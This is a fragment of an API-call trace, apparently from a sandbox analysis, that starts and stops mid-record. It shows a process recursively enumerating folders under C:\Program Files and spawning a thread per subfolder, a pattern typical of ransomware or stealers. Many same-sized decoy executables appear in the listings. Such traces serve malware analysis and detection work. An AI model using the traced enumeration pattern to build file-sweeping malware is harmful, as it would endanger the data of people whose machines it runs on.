Flags=0x8, Size=0x50) returned 0x1b7ceca0 [0085.635] wcscpy (in: _Dest=0x1b7ceca0, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0085.635] wcscat (in: _Dest=0x1b7ceca0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0085.635] wcscat (in: _Dest=0x1b7ceca0, _Source="MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0085.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ceca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0085.636] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0085.636] wcscmp (_String1="Office14", _String2=".") returned 1 [0085.636] wcscmp (_String1="Office14", _String2="..") returned 1 [0085.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b7ced00 [0085.636] wcscpy (in: _Dest=0x1b7ced00, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0085.636] wcscat (in: _Dest=0x1b7ced00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0085.636] wcscat (in: _Dest=0x1b7ced00, _Source="Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0085.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ced00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0085.636] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0085.637] wcscmp (_String1="Stationery", _String2=".") returned 1 [0085.637] wcscmp (_String1="Stationery", _String2="..") returned 1 [0085.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1aa0 [0085.637] wcscpy (in: _Dest=0x1b7c1aa0, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0085.637] wcscat (in: _Dest=0x1b7c1aa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0085.637] wcscat (in: _Dest=0x1b7c1aa0, _Source="Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery" [0085.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0085.637] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0085.637] wcscmp (_String1="Templates", _String2=".") returned 1 [0085.637] wcscmp (_String1="Templates", _String2="..") returned 1 [0085.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b7ced60 [0085.637] wcscpy (in: _Dest=0x1b7ced60, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0085.637] wcscat (in: _Dest=0x1b7ced60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0085.637] wcscat (in: _Dest=0x1b7ced60, _Source="Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0085.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ced60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c [0085.638] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8704f4b0, ftCreationTime.dwHighDateTime=0x1d578cf, ftLastAccessTime.dwLowDateTime=0x678c7ae0, ftLastAccessTime.dwHighDateTime=0x1d5835b, ftLastWriteTime.dwLowDateTime=0x678c7ae0, ftLastWriteTime.dwHighDateTime=0x1d5835b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 1 [0085.638] wcscmp (_String1="webdrive.exe", _String2=".") returned 1 [0085.638] wcscmp (_String1="webdrive.exe", _String2="..") returned 1 [0085.638] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8704f4b0, ftCreationTime.dwHighDateTime=0x1d578cf, ftLastAccessTime.dwLowDateTime=0x678c7ae0, ftLastAccessTime.dwHighDateTime=0x1d5835b, ftLastWriteTime.dwLowDateTime=0x678c7ae0, ftLastWriteTime.dwHighDateTime=0x1d5835b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 0 [0085.638] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0085.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 Thread: id = 100 os_tid = 0x244 [0085.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d5f0 [0085.644] wcscpy (in: _Dest=0x1b79d5f0, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition" [0085.644] wcscat (in: _Dest=0x1b79d5f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\" [0085.644] wcscat (in: _Dest=0x1b79d5f0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*" [0085.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xddb56220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb56220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.644] wcscmp (_String1=".", _String2=".") returned 0 [0085.644] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xddb56220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb56220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.644] wcscmp (_String1="..", _String2=".") returned 1 [0085.644] wcscmp (_String1="..", _String2="..") returned 0 [0085.644] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d3c07a0, ftCreationTime.dwHighDateTime=0x1d5d65d, ftLastAccessTime.dwLowDateTime=0xdc862a80, ftLastAccessTime.dwHighDateTime=0x1d59373, ftLastWriteTime.dwLowDateTime=0xdc862a80, ftLastWriteTime.dwHighDateTime=0x1d59373, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="ACTIVE~1.EXE")) returned 1 [0085.645] wcscmp (_String1="active-charge.exe", _String2=".") returned 1 [0085.645] wcscmp (_String1="active-charge.exe", _String2="..") returned 1 [0085.645] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a048d40, ftCreationTime.dwHighDateTime=0x1d56fdb, ftLastAccessTime.dwLowDateTime=0x163b3e0, ftLastAccessTime.dwHighDateTime=0x1d5a2fb, ftLastWriteTime.dwLowDateTime=0x163b3e0, ftLastWriteTime.dwHighDateTime=0x1d5a2fb, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="edcsvr.exe", cAlternateFileName="")) returned 1 [0085.645] wcscmp (_String1="edcsvr.exe", _String2=".") returned 1 [0085.645] wcscmp (_String1="edcsvr.exe", _String2="..") returned 1 [0085.645] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3314c170, ftCreationTime.dwHighDateTime=0x1d59268, ftLastAccessTime.dwLowDateTime=0xacb68980, ftLastAccessTime.dwHighDateTime=0x1d5a43a, ftLastWriteTime.dwLowDateTime=0xacb68980, ftLastWriteTime.dwHighDateTime=0x1d5a43a, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0085.645] wcscmp (_String1="fpos.exe", _String2=".") returned 1 [0085.645] wcscmp (_String1="fpos.exe", _String2="..") returned 1 [0085.645] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21f7f020, ftCreationTime.dwHighDateTime=0x1d5dffb, ftLastAccessTime.dwLowDateTime=0x4139c580, ftLastAccessTime.dwHighDateTime=0x1d5612f, ftLastWriteTime.dwLowDateTime=0x4139c580, ftLastWriteTime.dwHighDateTime=0x1d5612f, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1 [0085.645] wcscmp (_String1="totalcmd.exe", _String2=".") returned 1 [0085.645] wcscmp (_String1="totalcmd.exe", _String2="..") returned 1 [0085.645] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0085.645] wcscmp (_String1="v3.5", _String2=".") returned 1 [0085.645] wcscmp (_String1="v3.5", _String2="..") returned 1 [0085.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79d570 [0085.645] wcscpy (in: _Dest=0x1b79d570, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition" [0085.645] wcscat (in: _Dest=0x1b79d570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\" [0085.645] wcscat (in: _Dest=0x1b79d570, _Source="v3.5" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" [0085.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540 [0085.646] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0085.646] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d5f0) returned 1 [0085.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d6f0) returned 1 Thread: id = 101 os_tid = 0x60c [0085.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b7ce940 [0085.658] wcscpy (in: _Dest=0x1b7ce940, _Source="C:\\Program Files\\Microsoft Sync Framework" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework" [0085.658] wcscat (in: _Dest=0x1b7ce940, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\") returned="C:\\Program Files\\Microsoft Sync Framework\\" [0085.658] wcscat (in: _Dest=0x1b7ce940, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\*" [0085.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xed090 [0085.659] wcscmp (_String1=".", _String2=".") returned 0 [0085.659] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.659] wcscmp (_String1="..", _String2=".") returned 1 [0085.659] wcscmp (_String1="..", _String2="..") returned 0 [0085.659] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0085.659] wcscmp (_String1="v1.0", _String2=".") returned 1 [0085.659] wcscmp (_String1="v1.0", _String2="..") returned 1 [0085.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1cd0 [0085.659] wcscpy (in: _Dest=0x1b7c1cd0, _Source="C:\\Program Files\\Microsoft Sync Framework" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework" [0085.659] wcscat (in: _Dest=0x1b7c1cd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\") returned="C:\\Program Files\\Microsoft Sync Framework\\" [0085.659] wcscat (in: _Dest=0x1b7c1cd0, _Source="v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0085.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0085.660] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0085.660] FindClose (in: hFindFile=0xed090 | out: hFindFile=0xed090) returned 1 [0085.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce940) returned 1 [0085.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce8e0) returned 1 Thread: id = 102 os_tid = 0x7a4 [0085.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79d6f0 [0085.663] wcscpy (in: _Dest=0x1b79d6f0, _Source="C:\\Program Files\\Microsoft Synchronization Services" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services" [0085.663] wcscat (in: _Dest=0x1b79d6f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\" [0085.663] wcscat (in: _Dest=0x1b79d6f0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\*") returned="C:\\Program Files\\Microsoft Synchronization Services\\*" [0085.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.663] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdea10a40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdea10a40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce8e0 [0085.664] wcscmp (_String1=".", _String2=".") returned 0 [0085.664] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdea10a40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdea10a40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.664] wcscmp (_String1="..", _String2=".") returned 1 [0085.664] wcscmp (_String1="..", _String2="..") returned 0 [0085.664] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0085.664] wcscmp (_String1="ADO.NET", _String2=".") returned 1 [0085.664] wcscmp (_String1="ADO.NET", _String2="..") returned 1 [0085.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79d5f0 [0085.664] wcscpy (in: _Dest=0x1b79d5f0, _Source="C:\\Program Files\\Microsoft Synchronization Services" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services" [0085.664] wcscat (in: _Dest=0x1b79d5f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\" [0085.664] wcscat (in: _Dest=0x1b79d5f0, _Source="ADO.NET" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" [0085.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0085.665] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d379420, ftCreationTime.dwHighDateTime=0x1d59afd, ftLastAccessTime.dwLowDateTime=0xf2d69dd0, ftLastAccessTime.dwHighDateTime=0x1d5ddb8, ftLastWriteTime.dwLowDateTime=0xf2d69dd0, ftLastWriteTime.dwHighDateTime=0x1d5ddb8, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1 [0085.666] wcscmp (_String1="bitkinex.exe", _String2=".") returned 1 [0085.666] wcscmp (_String1="bitkinex.exe", _String2="..") returned 1 [0085.666] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5425bb60, ftCreationTime.dwHighDateTime=0x1d5bf9c, ftLastAccessTime.dwLowDateTime=0xb48ae8b0, ftLastAccessTime.dwHighDateTime=0x1d5cbb1, ftLastWriteTime.dwLowDateTime=0xb48ae8b0, ftLastWriteTime.dwHighDateTime=0x1d5cbb1, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 1 [0085.666] wcscmp (_String1="pidgin.exe", _String2=".") returned 1 [0085.666] wcscmp (_String1="pidgin.exe", _String2="..") returned 1 [0085.666] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f4447d0, ftCreationTime.dwHighDateTime=0x1d5d13a, ftLastAccessTime.dwLowDateTime=0x34a80c70, ftLastAccessTime.dwHighDateTime=0x1d5b6d7, ftLastWriteTime.dwLowDateTime=0x34a80c70, ftLastWriteTime.dwHighDateTime=0x1d5b6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tan_global.exe", cAlternateFileName="TAN_GL~1.EXE")) returned 1 [0085.666] wcscmp (_String1="tan_global.exe", _String2=".") returned 1 [0085.666] wcscmp (_String1="tan_global.exe", _String2="..") returned 1 [0085.666] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cce9430, ftCreationTime.dwHighDateTime=0x1d5b5c0, ftLastAccessTime.dwLowDateTime=0xa85f5f00, ftLastAccessTime.dwHighDateTime=0x1d5c173, ftLastWriteTime.dwLowDateTime=0xa85f5f00, ftLastWriteTime.dwHighDateTime=0x1d5c173, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="volkswagen.exe", cAlternateFileName="VOLKSW~1.EXE")) returned 1 [0085.666] wcscmp (_String1="volkswagen.exe", _String2=".") returned 1 [0085.666] wcscmp (_String1="volkswagen.exe", _String2="..") returned 1 [0085.666] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cce9430, ftCreationTime.dwHighDateTime=0x1d5b5c0, ftLastAccessTime.dwLowDateTime=0xa85f5f00, ftLastAccessTime.dwHighDateTime=0x1d5c173, ftLastWriteTime.dwLowDateTime=0xa85f5f00, ftLastWriteTime.dwHighDateTime=0x1d5c173, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="volkswagen.exe", cAlternateFileName="VOLKSW~1.EXE")) returned 0 [0085.666] FindClose (in: hFindFile=0x1b7ce8e0 | out: hFindFile=0x1b7ce8e0) returned 1 [0085.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d6f0) returned 1 [0085.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 Thread: id = 103 os_tid = 0x7cc [0085.668] RtlAllocateHeap 